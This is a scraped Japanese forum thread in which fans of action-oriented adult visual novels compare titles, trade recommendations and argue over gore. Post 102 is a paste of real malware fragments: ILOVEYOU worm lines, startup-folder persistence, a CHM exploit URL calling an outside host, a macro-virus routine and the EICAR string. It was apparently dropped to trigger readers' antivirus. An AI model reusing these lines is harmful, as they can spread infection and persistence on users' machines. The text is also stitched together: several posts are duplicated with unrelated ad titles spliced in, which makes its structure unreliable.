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その他




 

燃えゲーを語るスレ part9



1:名無したちの午後
燃えゲーを語るスレ 9スレ目です。 前スレ 燃えゲーを語るスレ part8 http://idol.bbspink.com/test/read.cgi/hgame/1141390626/ 過去スレなどは>>2-10あたり

2:名無したちの午後
過去スレ part7 http://idol.bbspink.com/test/read.cgi/hgame/1133077903/ part6 http://idol.bbspink.com/test/read.cgi/hgame/1119717991/ part5 http://idol.bbspink.com/test/read.cgi/hgame/1110600365/ part4 http://idol.bbspink.com/test/read.cgi/hgame/1103909514/ part3 http://idol.bbspink.com/test/read.cgi/hgame/1091065029/ part2 http://idol.bbspink.com/test/read.cgi/hgame/1068672828/ part1(葱板) http://www2.bbspink.com/erog/kako/1039/10392/1039252602.html

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3:名無したちの午後
これまでに語られたリスト 腐り姫 沙耶の唄 PARADISE LOST Soul Link らくえん 〜あいかわらずなぼく。の場合〜 Quartett デュエルセイヴァー(ツンデレ(リリィ)ルート) バルドフォース 君望SFD内のトゥルーライズ 家族計画 ヴェドゴニア 朝の来ない夜に抱かれて Fate/stay night ぶるまー2000 "Hello, world." V.G.NEO CANNONBALL こなたよりかなたまで 斬魔大聖デモンベイン リアライズ 学校のきゃあ 勝 あしたの雪之丞2 IZUMO2 ABANDONER 戦国if Angel Bullet ショコラ ランス6 鬼哭街 魔法少女アイ2 永遠のアセリア

4:名無したちの午後
うたわれるもの FOLKLORE JAM たまきゅう Phantom ファントムリメイク版 てのひらをたいように 黒と黒と黒の祭壇 アトラク=ナクア セイレムの魔女たち MARIONETTE〜糸使い〜 Routes 3days 姉、ちゃんとしようよ、の高嶺(姉貴)ルート オレンジポケット ONLY YOU クレイジーナックル ロケ夏の千星シナリオ GREEN MINDEAD BLOOD Noel 神樹の館 てこいれぷりんせすソーニャルート ばにぃはんたぁ零 GOTHIC〜The Age of Innocence〜 Relict〜トキの忘れもの〜 ドリル少女ユイ PrincessBrave 乳忍者〜摩天楼へ乳ボンバー〜 聖少女戦隊レイカーズ レベルジャスティス

5:名無したちの午後
痴漢者トーマス 虹を見つけたら教えて 空帝戦騎〜黄昏に沈む楔〜 幻燐の姫将軍 グリーングリーン2のまなルート ちびママ シャマナシャマナ ぷろすちゅ★でんとGood メタルプリンセス FOLKLORE JAM 鬼門妖異譚 神語 DOUBLE Forest もえかす ひとがたルイン メタモルファンタジー 鬼魂 シールプリンセス 永劫回帰 Answer Dead    鬼魂         天使ノ二丁拳銃  STEEL        SEVEN BRIDGE  ジオグラマトン   侍ジュピター Tears to Tiara

6:名無したちの午後
塵骸魔京 あやかしびと 刃鳴散らす 群青の空を越えて AYAKASHI 鎖 マブラヴ オルタネイティブ AR 〜忘れられた夏〜 夜刀姫斬鬼行 GALZOOアイランド 車輪の国、向日葵の少女 Heaven’s Cage はぴねす! ぱすてるチャイムContinue

7:名無したちの午後
過去ログ保管サイト エロゲー板スレッドリンク (雑談・シチュ総合→ジャンル別→燃えゲーを語るスレ) http://ragcane.s202.xrea.com/ 美ジーンズ 大槻みなみ

8:名無したちの午後
テンプレ終了。 今後の期待作のリスト等ありましたらよろしく。

9:名無したちの午後
>>1乙

10:名無したちの午後
うむ、ご苦労であった。

11:名無したちの午後
>>1乙

12:名無したちの午後
>>1乙

13:名無したちの午後
>>1乙 デモンベインの続編は期待してもいいのですか?

14:名無したちの午後
>>1乙 ところで、みんな。 俺としては くれいどるそんぐ 魂響 HORIZNT 桜華 やらが入ってないのが納得いかん。 皆はどう思う?

15:名無したちの午後
魂響って地雷では? シナリオ糞って評判・・・。

16:名無したちの午後
いや別に入れてもいいと思うよ。 そういえばテンプレ整理しようって話あったのに結局してないな まとめサイトも消えてるし

17:名無したちの午後
結構テンプレにない燃えゲーってあるよな。

18:名無したちの午後
>>14 魂響についてkwsk語って貰おうか。

19:名無したちの午後
>14 ホリゾントもついでに語ってくれ。ちょっと気になってたんだが絵が苦手なんでスルーしてたんだ。

20:名無したちの午後
679 名前:名無したちの午後 [sage] 投稿日:2006/01/31(火) 21:20:40 ID:Ggv+tiBo0 horizontプレイ。 自分的に主人公が鼻についた。 主人公の独白が文章の殆どで 主人公の口調がムカつくからとても苦に感じた。 あと、全体的にテンポが悪くモッサリとした印象がある。 738 名前:名無したちの午後 [sage] 投稿日:2006/02/11(土) 20:29:44 ID:dCGWt2hW0 >>679 俺はhorizontの主人公嫌いじゃなかったな。ぼけーとしすぎているとは思ったけどw 話はなんか中途半端だし短すぎるし雰囲気が良いのにもったいない。 気分的にハロワ序章で終わっちゃった感じ。 739 名前:名無したちの午後 [sage] 投稿日:2006/02/11(土) 22:56:50 ID:pJ9lfO7i0 horizontはびっくりするほど話が盛り上がらないまま終わった

679 名前:名無したちの午後 [sage] 投稿日:2006/01/31(火) 21:20:40 ID:Ggv+tiBo0 horizontプレイ。 自分的に主人公が鼻についた。 主人公の独白が文章の殆どで 主人公の口調がムカつくからとても苦に感じた。 あと、全体的にテンポが悪くモッサリとした印象がある。 738 名前:名無したちの午後 [sage] 投稿日:2006/02/11(土) 20:29:44 ID:dCGWt2hW0 >>679 俺はhorizontの主人公嫌いじゃなかったな。ぼけーとしすぎているとは思ったけどw 話はなんか中途半端だし短すぎるし雰囲気が良いのにもったいない。 気分的にハロワ序章で終わっちゃった感じ。 739 名前:名無したちの午後 [sage] 投稿日:2006/02/11(土) 22:56:50 ID:pJ9lfO7i0 horizontはびっくりするほど話が盛り上がらないまま終わった エロテロリスト >14 ホリゾントもついでに語ってくれ。ちょっと気になってたんだが絵が苦手なんでスルーしてたんだ。



21:名無したちの午後
文下手なのは許してくれよ。 あらすじ 主人公と妹の秋月かすみ、那美は妖怪退治の名家でそれを駆除するのを生業にしてた。 しかしある日「鬼」の駆除を依頼された。 しかし戦闘のすえ、鬼を退治することが出来たが、那美を失ってしまう……。 ネタバレであらすじ以外書けんが。 ネタバレしていいか?

22:名無したちの午後
>>21 ここ池ハゲ エロゲのストーリーを教えてもらうスレpart5 http://pie.bbspink.com/test/read.cgi/erog/1141041553/

23:名無したちの午後
ホリゾントは攻略キャラによって激しく燃え度が違う

24:名無したちの午後
>>18に言ってくれ… そして俺は禿げてない

25:名無したちの午後
>24 半年ROMれ

26:名無したちの午後
いくら燃えとかカッコつけても世間一般から見ればエロありギャルゲーとしか認知されない

27:名無したちの午後
>>18-19 あくまで俺はだけどホリゾントも魂響も テンポが悪い、展開がつまらなすぎる、 キャラが好みじゃない。 等の理由でプレイするのがとても苦痛だったよ。

28:名無したちの午後
くれいどるそんぐって地雷では? シナリオ糞って評判・・・。

29:名無したちの午後
でもテンプレに天使ノ二丁拳銃を入れちゃっているじゃん

30:名無したちの午後
TRPG世代には燃え要素が多いにあった蠅だが、 この場合は非卓ゲ者の基準で考えないといけないんだよな。



31:名無したちの午後
というか「語られたリスト」であって別にお勧めってワケじゃねえのか?

32:名無したちの午後
かつてのニトロの残りカスを眺めながら「あの頃は燃えたろ?」とかいって懐かしむ。 必要だろ?二挺拳銃は。

33:名無したちの午後
>>28 俺はそこそこ楽しめたぞ。 双子ヒロインの騎士のルートは 「それで、何か得られるのですか?」 「子供が一人笑ってくれる。」 みたいなやり取りに燃えたなぁ。

34:名無したちの午後
そうそう。 フィアナエンドでフィアナを助ける為に城にケンカをふっかけたシーンとか燃えた。 おっちゃんにも燃えた

35:名無したちの午後
くれそんは食って寝て遊んでの繰り返しで最後に城にちょっかいかけて終わりだからな プリホリもそうだけど。 せっかくの西洋風ファンタジーなんだからクーデターとか内乱とかあればヨカタのに

36:名無したちの午後
「1人vs国家・・・…勝率1%未満の戦いが今始まる。」 なんて煽ってあるのに始まったと思ったら即終わった

37:名無したちの午後
ttp://wiki.livedoor.jp/burningeroge/d/ 前スレ28のは有効かな?まとめね

38:名無したちの午後
もうちょいまとめを充実させたいところだな。

39:名無したちの午後
>>36 OHPのあらすじがストーリー全部ってホントなんですね

40:名無したちの午後
>>35の言うとおりだし しかしOHPのあらすじはだいたいオープニングまでとか思うよな、そっからが本番だと アレで全部だし・・・ プレイするまでゲリラでもやるのかと思ってたら

>>35の言うとおりだし しかしOHPのあらすじはだいたいオープニングまでとか思うよな、そっからが本番だと アレで全部だし・・・ プレイするまでゲリラでもやるのかと思ってたら 本/ストリップ ttp://wiki.livedoor.jp/burningeroge/d/ 前スレ28のは有効かな?まとめね



41:名無したちの午後
>>32 私は二挺拳銃燃えましたよ。 判りやすい燃えや救いのない鬱展開でしたけどね。

42:名無したちの午後
二丁拳銃はバカでよかったなあ。特にアンリルート。あのクソみたいな展開大好き むしろ個人的にはあやかしびとがわからんな……アレの一体どこに燃えるんだ?  煽りでも釣りでもなく本気でわからん。失笑ならしたが

43:名無したちの午後
二丁拳銃で燃えるって馬鹿だろ?

44:名無したちの午後
>>42 変わった感性をしてるんだねとしか言えない。 批評空間見れば分かるけど二挺拳銃は良くて凡作+ あやかしびとは良作+もしくは名作という評価。

45:名無したちの午後
クソみたいな展開大好きっていってるから自覚はあるんだろう。

46:名無したちの午後
>>44 燃え展開の嗜好の違いだよ。 あやかしびとは王道とお約束な展開で極端なバッドがない所が魅力で多数の評価をえやすい。 例えばだが、主人公が操られたまま、かっての友人達を犯し殺す展開あったらどうだろうか? そういう極端な鬱展開をいれず判りやすさを優先させたのだろ。 天二のように救いがないとわかる中あがくのに燃える人もいる。 破滅の美学とかあるしね。 ただ笛の桜ルートのように、この手の嗜好は少しゆがんでいる所があるので カタルシスを得ることに燃えを感じる一般的な人の指示は得られない。 しかし批評空間の評価ひっぱるのは間違いじゃない? あそこは工作もあるしプレイした人数による差もあるので鵜呑みは危険ですよ。

47:名無したちの午後
しかし批評空間の評価ひっぱるのは間違いじゃない? あそこは工作もあるしプレイした人数による差もあるので鵜呑みは危険ですよ。 コレには同意。

48:名無したちの午後
まあ、41と42じゃ同じように2丁が燃えたでも、捉え方が別モンだろうしな。

49:名無したちの午後
あやかしびとはグッドだのバッドだので無くて、 マジメにインチキ中拳超能力バトルとして世界を作っていったのが良かった。 古き良きジャンプ漫画の世界だべさ。

50:名無したちの午後
笛糸とかあやかしびとは確かに王道ジャンプ漫画のノリが楽しめたなぁ。 一番判りやすい形だよね。

51:名無したちの午後
俺はあやかしびとはいまいちと言わざるを得なかった バトルテキスト下手じゃないか?唯一燃えたのは師匠とのバトル

52:名無したちの午後
そか?俺は十分上手いと思ったけど。まあ人それぞれか

53:名無したちの午後
少なくともARより万倍良い

54:名無したちの午後
比較対象がアレ過ぎだw まぁ、癖も強いし洗練されてないのはわかる。 だが勢いなら文句無いので俺は好きだ。 東出氏はまだ新人なんだし、これからに期待するといいさ。

55:名無したちの午後
魂響はOPが流れるところまでは面白かった。 それ以降盛り上がる所も無く終わりうんこ。 プリンセスワルツやった。 途中まで面白かったけどラストうんこ。

56:名無したちの午後
プリワルは地雷じゃなく、毒ガスゲーという新しい種類だな。

57:名無したちの午後
エヴァのTV版だけ、みたいな感じだよな

58:名無したちの午後
最後、あれは納得いかねぇよ。 綿で首を絞められてる感じかな。 本編の燃えはかなり納得だったんだが…

59:名無したちの午後
つーかプリワルの戦闘シーン あやかしびとの東出が書いたっつー噂があった 真相は不明 というよりスタッフロールに東出の名前があったことからの 推測でしかないけど

60:名無したちの午後
んな二流ライターどうでもいいよ

つーかプリワルの戦闘シーン あやかしびとの東出が書いたっつー噂があった 真相は不明 というよりスタッフロールに東出の名前があったことからの 推測でしかないけど 月丘うさぎ 「めちゃめちゃにして!」 最後、あれは納得いかねぇよ。 綿で首を絞められてる感じかな。 本編の燃えはかなり納得だったんだが…



61:名無したちの午後
ではお前が一流だと思ってるライター言って

62:名無したちの午後
プリワルはクリスエンドイラネ。

63:名無したちの午後
つーかクリスエンドしかない

64:名無したちの午後
前スレ>>937より 5/26 TACTICS BRID 5/26 Scarlett

65:名無したちの午後
プリワルは2ndチャプター以降をなんとかすれば名作

66:名無したちの午後
クリスもナー

67:名無したちの午後
>>61 パルフェ、ショコラ書いた人!

68:名無したちの午後
>65 空の奇跡はベタだが、奇をてらわず、王道で燃えた

69:名無したちの午後
>>68 なあ、それなんてエロゲー?

70:名無したちの午後
最近燃えゲーにはまってきた。 マブラヴオルタ・Fate・あやかしびととやってきたんだが こんな感じの戦闘だらけなエロゲーない?

71:名無したちの午後
テンプレにもいっぱいあるよ 全編戦闘物だとデモンベインとか鬼哭街とかPARADISE LOSTとか

72:名無したちの午後
>>70 つパラダイスロスト 戦闘シーンが多くてキャラもかっこいい ただしストーリー後半尻切れトンボ 俺はレスト・イン・ピースとアストでおなかいっぱいだったから許せた あと公式HPのサイドストーリーも落として「クリア後」にやるのを勧める

73:名無したちの午後
パラダイスロストね 見てくる っていうかデモンベインってエロゲだったの? 有名だよな エロゲじゃないと思ってた

74:名無したちの午後
『有名』なんて言葉は、 愚かでちっぽけな人間様の雀の涙のような視界でしか通用しないんだぜ

75:名無したちの午後
Paradice Lostはルネサンス山田の声に燃えられるかどうかの勝負かと・・・ それなりに熱いテキストだがあのエロイ声があってこそ・・・

76:名無したちの午後
>>70 挙げてる作品とは少し毛色が違うんだが、ニトロの初期作品はやってみるといい。 ファントムから他の人も挙げてるデモンベイン辺りまでは外れ無しと言える。 ヴェドゴニアはちょっと、外した方がいいかな・・・。

77:名無したちの午後
ヴェドゴニアのリアノーンEDは俺の中で屈指の名EDだな。あのシーンは大好きだ。

78:名無したちの午後
リァノーンEDはボーカルが掛かり始めた所で涙腺が決壊した。 あのカタルシスは素晴らしい。

79:名無したちの午後
ヴェドゴニアは戦闘システムがいまいちだからな 素直にテキストで戦闘を描写して欲しかった

80:名無したちの午後
確かフル化して戦闘スキップしたな。

ヴェドゴニアは戦闘システムがいまいちだからな 素直にテキストで戦闘を描写して欲しかった ラブコスメティック リァノーンEDはボーカルが掛かり始めた所で涙腺が決壊した。 あのカタルシスは素晴らしい。



81:名無したちの午後
2週目はスキップできるからそんなきにはならんかったな。

82:名無したちの午後
http://qurl.com/7w6dh

83:名無したちの午後
「メイドさんと大きな剣」とかいうのに戦闘シーンがあるらしいが「燃え」は入るのだろうか?

84:名無したちの午後
モノモノの前例を考えるに期待しなけりゃ儲けものって感じと予想する。

85:名無したちの午後
結局バルバレのリメイクか

86:名無したちの午後
ソースでた?

87:名無したちの午後
>>83 期待しないほうが・・・ それより今月は発売済み含めてどんなタイトルがあったけ? 板違いかもしれないけどデモべの続編が月末にあったね。

88:名無したちの午後
スカーレット

89:名無したちの午後
デモベ続編は戦闘がロボットアクションみたいだからなぁ 俺の場合は最近のニトロには何も期待してないから評判待ち ライターとか同じだったら望みがあるかも?

90:名無したちの午後
ライターは同じだよ っていうかライターが自分のHPで書いた 妄想続編設定から生まれたんじゃないか?って感じだし

91:名無したちの午後
一度クリアすれば以降は戦闘スキップできる機能があるといいな… そうなれば低スペックの俺にもできるかもしれない

92:名無したちの午後
虚淵はそろそろ真面目に自分とこでゲームつくってほしい。

93:名無したちの午後
>>91 戦闘に3回負けた時点で、一周目でもスキップ可(イージーモード)らしい。 PS2移植を見越してスルー予定だったけど、物語として前作を遊んでいる 人間には嬉しい展開らしいので、特攻かけてみる事にした。

94:名無したちの午後
>>93 ありがとう! それ聞いて安心した。

95:名無したちの午後
安心して報告待ちできるな

96:名無したちの午後
そうだな、安心して中古待ちが出来る。

97:名無したちの午後
しかし根っこの部分がゲーマーな俺としてはゲーム部分があると駄目ってのがピンとこないんだけどねぇ…。 まぁ確かに楽しみに結びつくだけの完成度を持つゲームパートがあるエロゲは極めて少ないんだけどさ。

98:名無したちの午後
>>97テキストを読みたいのに作業させられる。   ゲームしたいのにテキスト読まされる。

99:名無したちの午後
ま、>>97も自分で結論出してる通りゲーム部分がおもしろくないor燃えないってのが大きいな。 個人的には、ゲームの合間にテキスト系イベント(格闘ゲームとかアクション系に多い)という タイプは相性いいけど、その逆ってろくな事にならないような気がする。

100:名無したちの午後
バルドくらい面白ければいいんだがデモベの3Dアクションは期待できそうにない 戦闘描写をゲーム部分でやった場合戦闘テキストがはぶられるんで燃えなくなるってのが大きい

バルドくらい面白ければいいんだがデモベの3Dアクションは期待できそうにない 戦闘描写をゲーム部分でやった場合戦闘テキストがはぶられるんで燃えなくなるってのが大きい 愛澤セリ「一本道プロデュース”グラドル”vol.2」 ま、>>97も自分で結論出してる通りゲーム部分がおもしろくないor燃えないってのが大きいな。 個人的には、ゲームの合間にテキスト系イベント(格闘ゲームとかアクション系に多い)という タイプは相性いいけど、その逆ってろくな事にならないような気がする。



101:名無したちの午後
バルフォは本当に良く出来てたよなあ faceo f factが流れたり最高

102:名無したちの午後
<body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub

103:名無したちの午後
ニトロのゲーム性とムービーはウンコにも程があるからな

104:名無したちの午後
燃えゲースレ残ったwwww

105:名無したちの午後
主題歌バトルのあとボロボロになるアレは別に燃えなかったな。

106:名無したちの午後
とりあえずラスボス戦は主題歌流しとけ、って風潮に喝

107:名無したちの午後
燃えゲーって何故かグロがつき物だと思うんだが、俺はグロが苦手だ。 そんな俺におすすめのグロくない燃えゲーってないか? エフェクトとかBGMとか展開とか凄く良くて、背筋がぞくぞくするような。 語られたリストでは デュエルセイバー バルドフォース こなたよりかなたまで 永遠のアセリア うたわれるもの 3days Tears to Tiara 車輪の国、向日葵の少女 はやったことある。ただし3daysのみ体験版の2日目で挫折orz こなたよりかなたまでは特に燃えなかったが、上に挙げたのはすべて楽しめた。 あと月姫はやったことあるんだがいまいちだったのでFateは回避。文章が読みづらくなくてテンポがよいほうが好きかも そんな俺に合いそうな燃えゲーを誰か教えてくれ

108:名無したちの午後
あやか…いやAYAKAS…やっぱりオルタだな

109:名無したちの午後
絵柄があんまりにも萌え萌えなゲームは敬遠してしまう俺。 バルドフォースとかは絵で食指が動かないなあ。

110:名無したちの午後
CANNONBALL Phantom 斬魔大聖デモンベイン オルタ あたりで。 オルタのグロは大した事ねーから問題ない。どうしても駄目な場合はグロ回避パッチもあるしな。 文章が読みづらくなくてテンポがよいほうが〜とかいうのは所詮個人の嗜好だからわからん。

111:名無したちの午後
グロ耐性があるけど、オルタのまりもちゃんはきつかった・・・。 まぁ、一番の辛さはヒロイン肉体改造凌辱だったけど

112:名無したちの午後
オルタとサランラップスーツと女共のせいでギャグにしか見えん。

113:名無したちの午後
オルタのグロって まりもとたまだけじゃん。 まあ、オルタは文章の読みやすさはともかく 先生の説明シーンがな。 無駄な設定くっつけてダラダラ説明するのは那須に似てる。

114:名無したちの午後
てか18以上ましてこの板にいる21歳以上の奴が あの程度のグロでまいるとは到底思えんが プライベートライアンとか実写の戦争モノの人体損傷の方が よっぽど生々しいと思うんだけど グログロ言ってるのはそういう戦争映画とかも見れないのかな

115:名無したちの午後
21歳以上なら個人の趣味にグチグチ言うなよ

116:名無したちの午後
21歳以上だろうが40歳以上だろうがグロまったくダメな人は普通にいると思う

117:名無したちの午後
ぶっちゃけグロが平気なほうが少ないと思う

118:名無したちの午後
>>102 市ね

119:名無したちの午後
まぁ>>114のような少し認識能力が欠如した奴がageにもたくさん居たのだろうが 結局はグロ隠しパッチを公開せざるを得なかったというのが実情な訳で。

120:名無したちの午後
アゲが認識できていなかったのは パッチを公開せざるを得ないまで執拗に抗議してくる 勘違い萌えゲヲタの執念だろw

アゲが認識できていなかったのは パッチを公開せざるを得ないまで執拗に抗議してくる 勘違い萌えゲヲタの執念だろw 一水社 まぁ>>114のような少し認識能力が欠如した奴がageにもたくさん居たのだろうが 結局はグロ隠しパッチを公開せざるを得なかったというのが実情な訳で。



121:名無したちの午後
そこまで思考と認識の欠陥を露呈しなくてもいいんだ。 現実と妄想の違いをまず理解しような。

122:名無したちの午後
グロに一家言ある俺からするとオルタは使い方が良くなかったな。 どうにもあからさま過ぎるというかなんというか、 フラッシュバックだかなんだかしらんが同じ一枚絵を何度も何度も使いまわすなと。 ただ下品なだけがグロじゃない。 グロやりたいならさり気なくあちこちに潜ませとけと。 基地攻防戦とか美味しいシーンたくさんあったんだし。

123:名無したちの午後
どうでもいい他人のグロ画像何枚見ようがどうってことないかもしれんが まりもちゃんのような身内のグロ見せられて 「この程度で何ビビってんの?大したことないじゃんププwww」 なんてこと言えやしない、言えやしないよ

124:名無したちの午後
>>114 そうでもないと思うぞ? 俺の兄貴(31歳)も駄目だって言ってたし・・・・ グロい戦争映画ははだしのゲンともののけ姫ぐらいしか見たことない。 あと自分の主観で物事を語るのは良くないかと・・・・・人それぞれ好き嫌いとかはあるからな。

125:名無したちの午後
もののけ姫ってグロなのか・・・・・・・・・? じゃ、ハウルなんてもうお子チャマの目の毒だな。

126:名無したちの午後
オルタ信者ってのは、どうにも頭のおかしいのばかりだからね。一種の宗教wwww

127:名無したちの午後
馬鹿↓ 369 名前:名無しさん@お腹いっぱい。 投稿日:2006/05/13(土) 02:25 ID:82UFFN3c マブラヴオルタネイティブ 人の生について考えさせられました。 非常に良作です。 グロシーンに嫌悪して過剰反応示す厨たちがウザイですが これくらいの耐性もつけなきゃ2010年ごろから始まる第三次世界大戦を生きてけない ぞ。(´・ω・`)9m

128:名無したちの午後
妄想って凄いなwwwなんだか哀れに思えてくる

129:名無したちの午後
なんでオルタの話題が出ると自演しまくりで叩かれるの?

130:名無したちの午後
>>129 君おつむは大丈夫かい?



131:名無したちの午後
>>124 AYAKASHIはつまらん上に無駄にグロい

132:名無したちの午後
wikipediaに燃えゲーが登録されてたw 泣きゲーとかあったからいつかくると思ってたけど 燃えゲーも広く(言っても層は狭いだろうが) 認知されるようになったんだねぇ。

133:名無したちの午後
お前はwikipediaをなんだと思ってるんだ 熱心なオタクが一人でもいれば項目が増えて行くサイトだぞ、あそこは。

134:名無したちの午後
え、そうなの?

135:名無したちの午後
オルタはガンパレのパクリ。

136:名無したちの午後
俺はオルタで凄い感動した。何故ならロスチャの後でやったからw ってかオルタやる奴はマブラヴやっとけよ・・・俺のようにならんようにしとけ。 鬱になってしまったらプリンセスワルツか青空の見える丘とかやるといい。少し癒される。

137:名無したちの午後
プリンセスワルツは別のベクトルで絶望した

138:名無したちの午後
tayo

139:名無したちの午後
ロスチャの戦闘が燃え滾るような熱いテキストで表現されていたら・・・スレッジハマー!承認!

140:名無したちの午後
批判もあるようだが オルタは俺の中の燃えゲーランキングぶっちぎりtopだ。 ああいうエロゲがどんどん出てくる事を望む。

批判もあるようだが オルタは俺の中の燃えゲーランキングぶっちぎりtopだ。 ああいうエロゲがどんどん出てくる事を望む。 DMMなら1ヶ月間完全無料でDVDが借り放題!国内最大級のタイトル数! ロスチャの戦闘が燃え滾るような熱いテキストで表現されていたら・・・スレッジハマー!承認!



141:名無したちの午後
どんなに素晴らしい良作でも、少なからず 気に入らない部分ってのがあると思うんだ。 オルタはその度合いが両極端だったと。

142:名無しさん@ピンキー
オルタもハッピーエンドあればねぇ。FEXは短いし記憶失ってるしハッピーに見えん。 ついでに彩峰派の俺は恥ずかしながら24にして涙が自然に出てしまいましたw言えねぇょorz... ロスチャもそうだけど、1本道の(ほぼ)バッドエンドは辛いな・・・ 郡青のカナコ(変換ry)の後のフィールートとか心のケアもどうにかして欲しいもんだ。 鬱ゲー後の心のケア、癒しゲースレってある?何?無いだと!?よし、逝ってくr・・

143:名無しさん@ピンキー
4行目おかしいな。。まぁハッピーエンドあってこそのバッドエンドって事かな。

144:名無したちの午後
>>137 プリンセスワルツの2章はなかった事にしてください><

145:名無したちの午後
プリワルは専門スレじゃ、「地雷」ならぬ「毒ガス」ゲーとよばれていたな

146:名無したちの午後
ちょww俺土曜日に積み崩したばっかなんだけどプリンセスワルツ

147:名無したちの午後
プリンセスワルツは仕切り役みたいな子供が出てきて、そいつが雰囲気(変換できる!)くづしてる ってか燃えじゃねぇ

148:名無したちの午後
アレが燃えじゃねえって じゃあどんなのが燃えなんだよ

149:名無したちの午後
プリンセスワルツは燃えるところは燃える。 いらない所はいらない。 プリンセスワルツに限らずそういうのは沢山ある。

150:名無したちの午後
連続レススマン。 俺が燃えると思ったところでプリンセス同士の戦いがあったけど 今考えるとプリンセスって言葉をわざわざ使う必要があったのかと。 あれってプリンセスっていうより その国一番の戦士って感じだったしね。

151:名無したちの午後
一応王子と結婚するために戦ってるんだからプリンセスじゃないとだめだろう

152:名無したちの午後
蒼天のセレナリア体験版に燃えゲーの予感 熱いっていうか若いっていうか。 >>150 高貴さは背負うものがあるという意味で重要なファクター、かも。

153:名無したちの午後
>150 タイトルがプリンセスならぬアマゾネスワルツだったら買うか? お前。 ……オレは買うかもしんねぇ……

154:名無したちの午後
オレも買う

155:名無したちの午後
キャラデザが司淳だったら3本買います

156:名無したちの午後
かわねーよ

157:名無したちの午後
AYAKASHIクリアした。 CGが多いから日常シーンは退屈せず読めるしバトルも面白い。 でも、燃えるかっつーとイヤボーン多くてびみょー。前川のおっさんは良かった。 あとエロシーンの主人公の絶倫っぷりにわろた。

158:名無したちの午後
ワルツは2部やENDがお察しくださいなのに加えて個別ルートやらエンドもない。 部分的に燃えようが話にならんという典型的な例。

159:名無したちの午後
ところでさ、戦闘シーンでカッコいい詠唱があるゲームってある?「はぴねす」みたいな意味が分からない奴じゃなくて、「魂響」の御魂送りとかみたいな詠唱があるやつで。 どうでしょう

160:名無したちの午後
そしてまたあの下らんゲームの話。

ところでさ、戦闘シーンでカッコいい詠唱があるゲームってある?「はぴねす」みたいな意味が分からない奴じゃなくて、「魂響」の御魂送りとかみたいな詠唱があるやつで。 どうでしょう オススメサイト更新履歴 ワルツは2部やENDがお察しくださいなのに加えて個別ルートやらエンドもない。 部分的に燃えようが話にならんという典型的な例。



161:名無したちの午後
>>159 ふぇ…ふぇ…フェルマーの最終定理 じゃなくてデモンベインはどうかな

162:名無したちの午後
塵骸の狼娘はどうだ

163:名無したちの午後
詠唱戦闘といったらパラダイスロストかな

164:名無したちの午後
>>159 はぴねすやったことないからどんな風に意味がわからんのかよくわからん 日本語で詠唱してる奴が良いってこと?

165:名無したちの午後
>>164 ttp://happinessdata.fc2web.com/magic.html

166:名無したちの午後
>>164 そうです。 アニメでいえば、「スレイヤーズ」の詠唱みたいな奴が好きなんです。 詠唱の凛とした声に燃えを感じるんです

167:名無したちの午後
パラダイスロストに一票。 ジューダス、カコヨス。

168:名無したちの午後
詠唱については異常に塵外の風ryルートが印象に残ってる コンピュータ関連用語なんだけど実に様になってるというか

169:名無したちの午後
塵骸なら風の後ろの歩むものの唄は燃えるし泣けるな 詠唱とはちょっと違うが

170:名無したちの午後
詠唱ならFateがいいんじゃないか? 燃えもNo.1レベルだし

171:名無したちの午後
>凛とした声 つーことだからFateは論外ジャマイカ

172:名無したちの午後
月厨はスルーしとけ

173:名無したちの午後
エーテルの砂時計の主人公が詠唱してたけど、あまり見た事無いタイプの変な詠唱だった。

174:名無したちの午後
パラダイスロストは過剰評価されすぎ

175:名無したちの午後
型月アンチのガイドライン ・自然な流れの中で型月の話題が出てきただけでも、「月厨ニダ」と火病を起こす →今となっては、朝鮮人のような型月アンチは2chの風物詩となっています >>171 脳内で補完するか、PS2版が出る

176:名無したちの午後
>>174 あれは詰めが甘いわな。前半〜終盤ちょい前までは俺的にはかなり良かった。 まぁ全体的に見ても過剰ってほどじゃ… 過剰評価と言ったらフェ………フェ……………フェーックション!!!!

177:名無したちの午後
詠唱といえばバスタードだったが今は怪獣戦争化した上に連載すらしてないから困る

178:名無したちの午後
アクセス――我がシン パラダイスロスト面白かったけどなぁ〜詠唱カッコよす ただ全てがサタナイルの手の上っぽいのが嫌だったが

179:名無したちの午後
ということだ。

180:名無したちの午後
また月厨か。オルタ厨以上だな。

アクセス――我がシン パラダイスロスト面白かったけどなぁ〜詠唱カッコよす ただ全てがサタナイルの手の上っぽいのが嫌だったが ブラ&ショーツ 詠唱といえばバスタードだったが今は怪獣戦争化した上に連載すらしてないから困る



181:名無したちの午後
もうそっとしといてやれ。 さりげなくCS版の宣伝とは流石

182:名無したちの午後
結構前から燃えゲスレには パラダイスロストになにか怨みでもあるかのような奴が 一匹粘着してるね パラダイスロストが話題に上がりそうな流れになると必ず先んじて 「このスレにの奴らは下らない(明らかにパラダイスロストを指してる) 糞ゲー挙げとけば満足するよ」ってな感じで毎回毎回書き込んでくるw

183:名無したちの午後
それはパラダイスロストに限った話じゃないと思うが。

184:名無したちの午後
